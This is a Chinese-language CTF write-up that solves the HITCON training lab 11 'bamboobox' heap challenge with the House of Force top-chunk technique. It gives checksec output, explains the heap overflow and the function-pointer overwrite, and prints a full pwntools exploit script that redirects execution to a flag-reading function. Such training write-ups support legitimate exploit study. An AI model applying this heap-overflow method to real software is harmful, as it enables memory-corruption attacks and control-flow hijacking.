HITCON training lab 11
2018.09.17
V1NKe
 热度
℃
前言 :
写几篇关于top chunk利用的题吧,top chunk的利用在堆利用里面算简单的了,就是修改top chunk的size字段,使他在地址上移动到自己所想要的位置上。
详解 :
题目 :hitcon training lab 11
1 2 3 4 5 6 7
| ➜ bamboobox checksec ./bamboobox [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/bamboobox/bamboobox' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
主要就是对盒子里面的物品进行添加和删除,漏洞点在修改物品的时候出现,有任意长度堆溢出的漏洞,这里面因为是一个演示程序,程序中有一个可以直接读取flag的函数,所以我们只要利用这个函数就可以了。
退出程序之前还执行了一个函数:
1 2 3
| case 5: ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf); exit(0);
|
是一个一开始就申请的一个内存,存了一个goodbye的函数。
所以我们直接利用漏洞更改goodbye为magic函数即可。
思路 :
- 添加,更改top chunk的size字段为-1,最大size。
- 申请内存到堆基址处。
- 覆盖goodbye函数。
题目不难,就不细讲了。
EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
r = process('./bamboobox') context.log_level = 'debug'
def additem(length, name): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name)
def modify(idx, length, name): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name)
def remove(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx))
def show(): r.recvuntil(":") r.sendline("1")
additem(0x80,'AAAAAAAA') payload = 'A'*0x88+p64(0xffffffffffffffff) modify(0,len(payload),payload) additem(-0xb8,'BBBBBBBB') additem(16,p64(0x400D49)*2)
r.interactive()
|